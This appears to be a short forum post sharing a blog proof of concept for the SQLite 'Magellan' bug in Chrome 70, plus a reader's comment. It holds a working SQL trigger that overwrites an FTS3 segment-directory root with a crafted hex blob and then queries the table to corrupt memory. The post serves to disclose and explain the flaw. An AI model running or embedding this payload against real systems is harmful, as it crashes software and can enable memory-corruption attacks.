Crash Chrome 70 with the SQLite Magellan Bug
worthdoingbadly.com
worthdoingbadly.com
DROP TABLE IF EXISTS ft;
CREATE VIRTUAL TABLE ft USING fts3;
INSERT INTO ft VALUES('aback');
INSERT INTO ft VALUES('abaft');
INSERT INTO ft VALUES('abandon');
SELECT quote(root) from ft_segdir;
UPDATE ft_segdir SET root = X'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';
SELECT * FROM ft WHERE ft MATCH 'abandon';
Source: https://github.com/zhuowei/worthdoingbadly.com/blob/master/_...
(I do not use Chrome or Chromium, although this article is good to me anyways since it explains what the vulnerability is, since I do use SQLite.)